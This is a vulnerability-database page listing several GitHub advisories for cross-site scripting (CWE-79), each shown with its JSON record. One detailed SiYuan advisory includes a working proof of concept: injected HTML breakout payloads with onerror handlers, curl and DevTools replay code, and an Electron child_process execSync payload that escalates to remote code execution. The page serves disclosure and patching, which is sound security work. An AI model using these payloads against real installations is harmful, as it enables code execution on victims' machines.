Common Weakness Enumeration

CWE-79

Allowed

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Abstraction: Base · Status: Stable

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

67340 vulnerabilities reference this CWE, most recent first.

GHSA-5XFC-VJRJ-JR3W

Vulnerability from github – Published: 2022-06-03 00:00 – Updated: 2022-06-12 00:00
VLAI
Details

A vulnerability was found in SourceCodester Product Show Room Site 1.0. It has been rated as problematic. This issue affects the file /admin/?page=system_info/contact_info. The manipulation of the textbox Telephone with the input alert(1) leads to cross site scripting. The attack may be initiated remotely but requires authentication. Expliot details have been disclosed to the public.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-1980"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-02T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in SourceCodester Product Show Room Site 1.0. It has been rated as problematic. This issue affects the file /admin/?page=system_info/contact_info. The manipulation of the textbox Telephone with the input \u003cscript\u003ealert(1)\u003c/script\u003e leads to cross site scripting. The attack may be initiated remotely but requires authentication. Expliot details have been disclosed to the public.",
  "id": "GHSA-5xfc-vjrj-jr3w",
  "modified": "2022-06-12T00:00:46Z",
  "published": "2022-06-03T00:00:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1980"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Xor-Gerke/webray.com.cn/blob/main/cve/Product%20Show%20Room%20Site/\u0027Telephone\u0027%20Stored%20Cross-Site%20Scripting(XSS).md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.200951"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5XFG-X979-V4PM

Vulnerability from github – Published: 2022-05-17 00:52 – Updated: 2022-05-17 00:52
VLAI
Details

D-Link DIR-850L REV. A (with firmware through FW114WWb07_h2ab_beta1) devices have XSS in the action parameter to htdocs/web/shareport.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-14414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-13T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "D-Link DIR-850L REV. A (with firmware through FW114WWb07_h2ab_beta1) devices have XSS in the action parameter to htdocs/web/shareport.php.",
  "id": "GHSA-5xfg-x979-v4pm",
  "modified": "2022-05-17T00:52:21Z",
  "published": "2022-05-17T00:52:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14414"
    },
    {
      "type": "WEB",
      "url": "https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5XFH-M3MM-J8MJ

Vulnerability from github – Published: 2026-05-20 21:31 – Updated: 2026-05-20 21:31
VLAI
Details

Open ISES Tickets before 3.44.2 contains a reflected cross-site scripting vulnerability in add_facnote.php that allows authenticated attackers to inject arbitrary JavaScript by passing an unsanitized value through the ticket_id GET parameter directly into a hidden input field VALUE attribute. Attackers can craft a malicious URL containing a JavaScript payload in the ticket_id parameter that executes in the victim's browser when the URL is visited.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-35012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T20:16:38Z",
    "severity": "MODERATE"
  },
  "details": "Open ISES Tickets before 3.44.2 contains a reflected cross-site scripting vulnerability in add_facnote.php that allows authenticated attackers to inject arbitrary JavaScript by passing an unsanitized value through the ticket_id GET parameter directly into a hidden input field VALUE attribute. Attackers can craft a malicious URL containing a JavaScript payload in the ticket_id parameter that executes in the victim\u0027s browser when the URL is visited.",
  "id": "GHSA-5xfh-m3mm-j8mj",
  "modified": "2026-05-20T21:31:31Z",
  "published": "2026-05-20T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35012"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openises/tickets/commit/ecfeb406a016766cae81c749e14b5145a9f2dbff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openises/tickets/releases/tag/v3.44.2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/open-ises-tickets-reflected-xss-via-add-facnote-php-ticket-id-parameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5XFX-XJ4H-5P7R

Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34
VLAI
Summary
SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()
Details

Summary

The attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.

The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261.

Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.

Details

Affected:

  • HEAD 96dfe0b (v3.6.5, 2026-04-21)
  • Renderer sink: app/src/protyle/render/av/blockAttr.ts:68, genAVValueHTML(). The text, url, phone, and mAsset branches interpolate cell content raw.
  • Callsites piping genAVValueHTML into innerHTML: select.ts:124,229,346, cell.ts:791,913,1198, col.ts:455,656,1256, filter.ts:199,471,609,702, groups.ts:56,289,328,378, and blockAttr.ts:212.
  • Source: cell values returned by /api/av/getAttributeView. Backing store: data/storage/av/<avID>.json.
  • Write path: kernel/model/attribute_view.go, updateAttributeViewValue and (*Transaction).doUpdateAttrViewCell. No call to html.EscapeAttrVal, html.EscapeString, or util.EscapeHTML anywhere in the file.
  • Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322.

The sink

app/src/protyle/render/av/blockAttr.ts:68, with the unsafe branches highlighted:

export const genAVValueHTML = (value: IAVCellValue) => {
  let html = "";
  switch (value.type) {
    case "block":
      // escaped via escapeAttr — safe
      html = `<input ... value="${escapeAttr(value.block.content)}" ...>`;
      break;
    case "text":
      // value.text.content goes raw into a <textarea>
      html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`;
      break;
    case "url":
      // value.url.content goes raw into value="..." and href="..."
      html = `<input value="${value.url.content}" ...>
              <a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`;
      break;
    case "phone":
      // same pattern as url
      html = `<input value="${value.phone.content}" ...>
              <a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`;
      break;
    case "mAsset":
      value.mAsset?.forEach(item => {
        if (item.type === "image") {
          // item.content raw inside aria-label
          html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`;
        } else {
          // attributes escaped, but ${item.name || item.content} text-node is raw
          html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`;
        }
      });
      break;
    // other cases use escapeHtml / escapeAttr correctly
  }
  return html;
};

escapeHtml and escapeAttr already exist and are used in the block, select, and mSelect cases. They just aren't applied in the four branches above.

Callers assign the result to innerHTML. Example, app/src/protyle/render/av/select.ts:124:

if (item.classList.contains("custom-attr__avvalue")) {
    item.innerHTML = genAVValueHTML(cellValue);
}

The write path

A grep for any HTML-escape call in kernel/model/attribute_view.go returns nothing:

grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go
# (no output)

For comparison, the block-IAL write path at kernel/model/blockial.go:261 applies html.EscapeAttrVal(value). The AV cell write path is missing the equivalent.

Storage and sync

AV files live at data/storage/av/<avID>.json and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.

Suggested fix

The renderer-side fix is the more important one. escapeHtml and escapeAttr already exist in blockAttr.ts and already protect the block, select, and mSelect branches. Extend them to the rest of genAVValueHTML:

case "text":
  html = `<textarea ...>${escapeHtml(value.text?.content || "")}</textarea>`;
  break;
case "url":
  html = `<input value="${escapeAttr(value.url.content)}" ...>
          <a ${value.url.content ? `href="${escapeAttr(value.url.content)}"` : ""} ...>`;
  break;
case "phone":
  html = `<input value="${escapeAttr(value.phone.content)}" ...>
          <a ${value.phone.content ? `href="tel:${escapeAttr(value.phone.content)}"` : ""} ...>`;
  break;
case "mAsset":
  // escape item.name and item.content in the text-node positions, not just inside attributes

The mAsset image branch also interpolates item.content into the src attribute via getCompressURL. Worth rejecting javascript: and data: schemes for asset URLs while you're in there.

Backend side, defense in depth: in kernel/model/attribute_view.go:updateAttributeViewValue, call html.EscapeAttrVal(content) on the string-content cell types before persisting. This mirrors the existing protection in kernel/model/blockial.go:261. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.

PoC

Stand up SiYuan and drop a malicious AV file at workspace/data/storage/av/poc.json:

docker run -d --name siyuan-poc \
  -v ./workspace:/siyuan/workspace \
  -p 16806:6806 \
  b3log/siyuan:latest \
  --workspace=/siyuan/workspace --accessAuthCode=hunter2

Minimum viable AV JSON:

{
  "spec": 2,
  "id": "20260519999999-poctest",
  "name": "PocAV",
  "keyValues": [
    {
      "key": {"id": "...keyblok", "name": "Block", "type": "block"},
      "values": [{
        "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
        "type": "block", "isDetached": true,
        "block": {"id": "...row1blk", "content": "Row 1"}
      }]
    },
    {
      "key": {"id": "...keytext", "name": "TextField", "type": "text"},
      "values": [{
        "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
        "type": "text",
        "text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"}
      }]
    },
    {
      "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
      "values": [{
        "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
        "type": "url",
        "url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"}
      }]
    }
  ]
}

In a real attack the file gets there via sync, not by hand.

Confirm the API returns the cell content raw:

TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -s -X POST http://localhost:16806/api/av/getAttributeView \
  -H "Authorization: Token $TOKEN" \
  -d '{"id":"20260519999999-poctest"}' \
  | python3 -m json.tool | grep -E '"content":'

Output from my run on 2026-05-19:

"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"
"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"

</textarea> and "> come back literal, no escape.

In the Siyuan renderer's DevTools:

const res = await fetch('/api/av/getAttributeView', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: '20260519999999-poctest'})
});
const json = await res.json();

let textValue = null, urlValue = null;
for (const kv of json.data.av.keyValues) {
  for (const v of kv.values || []) {
    if (v.type === 'text' && v.text) textValue = v;
    if (v.type === 'url' && v.url) urlValue = v;
  }
}

// Replay the actual genAVValueHTML branches verbatim.
const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`;
const urlHTML  = `<input value="${urlValue.url.content}">`;

const div = document.createElement('div');
div.innerHTML = textHTML + urlHTML;

await new Promise(r => setTimeout(r, 250));

console.log({
  textMarkerFired: window.__siyuan_av_xss === 'FIRED',
  urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',
  imgsInDiv: div.querySelectorAll('img').length,
  title: document.title
});

Output from my run:

{
  "textMarkerFired": true,
  "urlMarkerFired": true,
  "imgsInDiv": 3,
  "title": "AV_TEXT_XSS_OK"
}

</textarea> and "> both broke out, the smuggled <img> elements ran their onerror handlers, the marker variables got set, document.title got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.

To turn it into RCE on Electron, swap the marker payload for:

<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/av/updateAttrViewCell. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260628153353-2d5d72223df4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:34:53Z",
    "nvd_published_at": "2026-06-24T22:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe attribute-view (database) cell renderer `genAVValueHTML` interpolates cell content raw in four of its branches: `text`, `url`, `phone`, and `mAsset`. A cell value like `\u003c/textarea\u003e\u003cimg src=x onerror=\"...\"\u003e` or `\"\u003e\u003cimg src=x onerror=\"...\"\u003e` breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with `nodeIntegration:true`, so the XSS chains to host RCE via `require(\u0027child_process\u0027)`. AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.\n\nThe kernel doesn\u0027t escape on the way in either, so the malicious cell persists byte-for-byte. There\u0027s no equivalent of the `html.EscapeAttrVal` call that protects block IAL attributes at `kernel/model/blockial.go:261`.\n\nCompanion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Renderer sink: `app/src/protyle/render/av/blockAttr.ts:68`, `genAVValueHTML()`. The text, url, phone, and mAsset branches interpolate cell content raw.\n- Callsites piping `genAVValueHTML` into `innerHTML`: `select.ts:124,229,346`, `cell.ts:791,913,1198`, `col.ts:455,656,1256`, `filter.ts:199,471,609,702`, `groups.ts:56,289,328,378`, and `blockAttr.ts:212`.\n- Source: cell values returned by `/api/av/getAttributeView`. Backing store: `data/storage/av/\u003cavID\u003e.json`.\n- Write path: `kernel/model/attribute_view.go`, `updateAttributeViewValue` and `(*Transaction).doUpdateAttrViewCell`. No call to `html.EscapeAttrVal`, `html.EscapeString`, or `util.EscapeHTML` anywhere in the file.\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`.\n\n#### The sink\n\n`app/src/protyle/render/av/blockAttr.ts:68`, with the unsafe branches highlighted:\n\n```ts\nexport const genAVValueHTML = (value: IAVCellValue) =\u003e {\n  let html = \"\";\n  switch (value.type) {\n    case \"block\":\n      // escaped via escapeAttr \u2014 safe\n      html = `\u003cinput ... value=\"${escapeAttr(value.block.content)}\" ...\u003e`;\n      break;\n    case \"text\":\n      // value.text.content goes raw into a \u003ctextarea\u003e\n      html = `\u003ctextarea ... rows=\"${(value.text?.content || \"\").split(\"\\n\").length}\" ...\u003e${value.text?.content || \"\"}\u003c/textarea\u003e`;\n      break;\n    case \"url\":\n      // value.url.content goes raw into value=\"...\" and href=\"...\"\n      html = `\u003cinput value=\"${value.url.content}\" ...\u003e\n              \u003ca ${value.url.content ? `href=\"${value.url.content}\"` : \"\"} ...\u003e`;\n      break;\n    case \"phone\":\n      // same pattern as url\n      html = `\u003cinput value=\"${value.phone.content}\" ...\u003e\n              \u003ca ${value.phone.content ? `href=\"tel:${value.phone.content}\"` : \"\"} ...\u003e`;\n      break;\n    case \"mAsset\":\n      value.mAsset?.forEach(item =\u003e {\n        if (item.type === \"image\") {\n          // item.content raw inside aria-label\n          html += `\u003cimg ... aria-label=\"${item.content}\" src=\"${getCompressURL(item.content)}\"\u003e`;\n        } else {\n          // attributes escaped, but ${item.name || item.content} text-node is raw\n          html += `\u003cspan ... aria-label=\"${escapeAttr(item.content)}\" data-name=\"${escapeAttr(item.name)}\" data-url=\"${escapeAttr(item.content)}\"\u003e${item.name || item.content}\u003c/span\u003e`;\n        }\n      });\n      break;\n    // other cases use escapeHtml / escapeAttr correctly\n  }\n  return html;\n};\n```\n\n`escapeHtml` and `escapeAttr` already exist and are used in the `block`, `select`, and `mSelect` cases. They just aren\u0027t applied in the four branches above.\n\nCallers assign the result to `innerHTML`. Example, `app/src/protyle/render/av/select.ts:124`:\n\n```ts\nif (item.classList.contains(\"custom-attr__avvalue\")) {\n    item.innerHTML = genAVValueHTML(cellValue);\n}\n```\n\n#### The write path\n\nA grep for any HTML-escape call in `kernel/model/attribute_view.go` returns nothing:\n\n```\ngrep -n \u0027html.Escape\\|EscapeHTML\\|EscapeString\u0027 kernel/model/attribute_view.go\n# (no output)\n```\n\nFor comparison, the block-IAL write path at `kernel/model/blockial.go:261` applies `html.EscapeAttrVal(value)`. The AV cell write path is missing the equivalent.\n\n#### Storage and sync\n\nAV files live at `data/storage/av/\u003cavID\u003e.json` and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.\n\n#### Suggested fix\n\nThe renderer-side fix is the more important one. `escapeHtml` and `escapeAttr` already exist in `blockAttr.ts` and already protect the `block`, `select`, and `mSelect` branches. Extend them to the rest of `genAVValueHTML`:\n\n```ts\ncase \"text\":\n  html = `\u003ctextarea ...\u003e${escapeHtml(value.text?.content || \"\")}\u003c/textarea\u003e`;\n  break;\ncase \"url\":\n  html = `\u003cinput value=\"${escapeAttr(value.url.content)}\" ...\u003e\n          \u003ca ${value.url.content ? `href=\"${escapeAttr(value.url.content)}\"` : \"\"} ...\u003e`;\n  break;\ncase \"phone\":\n  html = `\u003cinput value=\"${escapeAttr(value.phone.content)}\" ...\u003e\n          \u003ca ${value.phone.content ? `href=\"tel:${escapeAttr(value.phone.content)}\"` : \"\"} ...\u003e`;\n  break;\ncase \"mAsset\":\n  // escape item.name and item.content in the text-node positions, not just inside attributes\n```\n\nThe `mAsset` image branch also interpolates `item.content` into the `src` attribute via `getCompressURL`. Worth rejecting `javascript:` and `data:` schemes for asset URLs while you\u0027re in there.\n\nBackend side, defense in depth: in `kernel/model/attribute_view.go:updateAttributeViewValue`, call `html.EscapeAttrVal(content)` on the string-content cell types before persisting. This mirrors the existing protection in `kernel/model/blockial.go:261`. The renderer fix matters more because the backend fix doesn\u0027t retroactively neutralize payloads already sitting in synced workspaces.\n\n### PoC\n\nStand up SiYuan and drop a malicious AV file at `workspace/data/storage/av/poc.json`:\n\n```bash\ndocker run -d --name siyuan-poc \\\n  -v ./workspace:/siyuan/workspace \\\n  -p 16806:6806 \\\n  b3log/siyuan:latest \\\n  --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nMinimum viable AV JSON:\n\n```json\n{\n  \"spec\": 2,\n  \"id\": \"20260519999999-poctest\",\n  \"name\": \"PocAV\",\n  \"keyValues\": [\n    {\n      \"key\": {\"id\": \"...keyblok\", \"name\": \"Block\", \"type\": \"block\"},\n      \"values\": [{\n        \"id\": \"...row1blk\", \"keyID\": \"...keyblok\", \"blockID\": \"...row1blk\",\n        \"type\": \"block\", \"isDetached\": true,\n        \"block\": {\"id\": \"...row1blk\", \"content\": \"Row 1\"}\n      }]\n    },\n    {\n      \"key\": {\"id\": \"...keytext\", \"name\": \"TextField\", \"type\": \"text\"},\n      \"values\": [{\n        \"id\": \"...celltxt\", \"keyID\": \"...keytext\", \"blockID\": \"...row1blk\",\n        \"type\": \"text\",\n        \"text\": {\"content\": \"\u003c/textarea\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_xss=\u0027FIRED\u0027\\\"\u003e\"}\n      }]\n    },\n    {\n      \"key\": {\"id\": \"...keyurl0\", \"name\": \"UrlField\", \"type\": \"url\"},\n      \"values\": [{\n        \"id\": \"...cellurl\", \"keyID\": \"...keyurl0\", \"blockID\": \"...row1blk\",\n        \"type\": \"url\",\n        \"url\": {\"content\": \"\\\"\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_url_xss=\u0027FIRED\u0027\\\"\u003e\"}\n      }]\n    }\n  ]\n}\n```\n\nIn a real attack the file gets there via sync, not by hand.\n\nConfirm the API returns the cell content raw:\n\n```bash\nTOKEN=$(jq -r \u0027.api.token\u0027 workspace/conf/conf.json)\n\ncurl -s -X POST http://localhost:16806/api/av/getAttributeView \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -d \u0027{\"id\":\"20260519999999-poctest\"}\u0027 \\\n  | python3 -m json.tool | grep -E \u0027\"content\":\u0027\n```\n\nOutput from my run on 2026-05-19:\n\n```\n\"content\": \"\u003c/textarea\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_xss=\u0027FIRED\u0027\\\"\u003e\"\n\"content\": \"\\\"\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_url_xss=\u0027FIRED\u0027\\\"\u003e\"\n```\n\n`\u003c/textarea\u003e` and `\"\u003e` come back literal, no escape.\n\nIn the Siyuan renderer\u0027s DevTools:\n\n```js\nconst res = await fetch(\u0027/api/av/getAttributeView\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: JSON.stringify({id: \u002720260519999999-poctest\u0027})\n});\nconst json = await res.json();\n\nlet textValue = null, urlValue = null;\nfor (const kv of json.data.av.keyValues) {\n  for (const v of kv.values || []) {\n    if (v.type === \u0027text\u0027 \u0026\u0026 v.text) textValue = v;\n    if (v.type === \u0027url\u0027 \u0026\u0026 v.url) urlValue = v;\n  }\n}\n\n// Replay the actual genAVValueHTML branches verbatim.\nconst textHTML = `\u003ctextarea rows=\"${(textValue.text?.content||\u0027\u0027).split(\u0027\\n\u0027).length}\"\u003e${textValue.text?.content || \u0027\u0027}\u003c/textarea\u003e`;\nconst urlHTML  = `\u003cinput value=\"${urlValue.url.content}\"\u003e`;\n\nconst div = document.createElement(\u0027div\u0027);\ndiv.innerHTML = textHTML + urlHTML;\n\nawait new Promise(r =\u003e setTimeout(r, 250));\n\nconsole.log({\n  textMarkerFired: window.__siyuan_av_xss === \u0027FIRED\u0027,\n  urlMarkerFired: window.__siyuan_av_url_xss === \u0027FIRED\u0027,\n  imgsInDiv: div.querySelectorAll(\u0027img\u0027).length,\n  title: document.title\n});\n```\n\nOutput from my run:\n\n```json\n{\n  \"textMarkerFired\": true,\n  \"urlMarkerFired\": true,\n  \"imgsInDiv\": 3,\n  \"title\": \"AV_TEXT_XSS_OK\"\n}\n```\n\n`\u003c/textarea\u003e` and `\"\u003e` both broke out, the smuggled `\u003cimg\u003e` elements ran their `onerror` handlers, the marker variables got set, `document.title` got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).execSync(\u0027open /Applications/Calculator.app\u0027)\"\u003e\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/av/updateAttrViewCell`. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.",
  "id": "GHSA-5xfx-xj4h-5p7r",
  "modified": "2026-07-10T19:34:53Z",
  "published": "2026-07-10T19:34:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54158"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()"
}

GHSA-5XGH-3XQG-V5P2

Vulnerability from github – Published: 2024-11-19 18:31 – Updated: 2026-04-01 18:32
VLAI
Details

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Mapme Mapme allows Stored XSS.This issue affects Mapme: from n/a through 1.3.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-51913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-19T17:15:48Z",
    "severity": "MODERATE"
  },
  "details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Mapme Mapme allows Stored XSS.This issue affects Mapme: from n/a through 1.3.2.",
  "id": "GHSA-5xgh-3xqg-v5p2",
  "modified": "2026-04-01T18:32:33Z",
  "published": "2024-11-19T18:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51913"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/mapme/vulnerability/wordpress-mapme-plugin-1-3-2-cross-site-scripting-xss-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/mapme/wordpress-mapme-plugin-1-3-2-cross-site-scripting-xss-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5XGH-643P-CP2G

Vulnerability from github – Published: 2018-11-21 22:19 – Updated: 2022-09-21 22:28
VLAI
Summary
Cross-site Scripting in yapi-vendor
Details

An issue was discovered in YMFE YApi 1.3.23. There is stored XSS in the name field of a project.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "yapi-vendor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-17574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:17:36Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in YMFE YApi 1.3.23. There is stored XSS in the name field of a project.",
  "id": "GHSA-5xgh-643p-cp2g",
  "modified": "2022-09-21T22:28:56Z",
  "published": "2018-11-21T22:19:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YMFE/yapi/issues/520"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YMFE/yapi"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-5xgh-643p-cp2g"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cross-site Scripting in yapi-vendor"
}

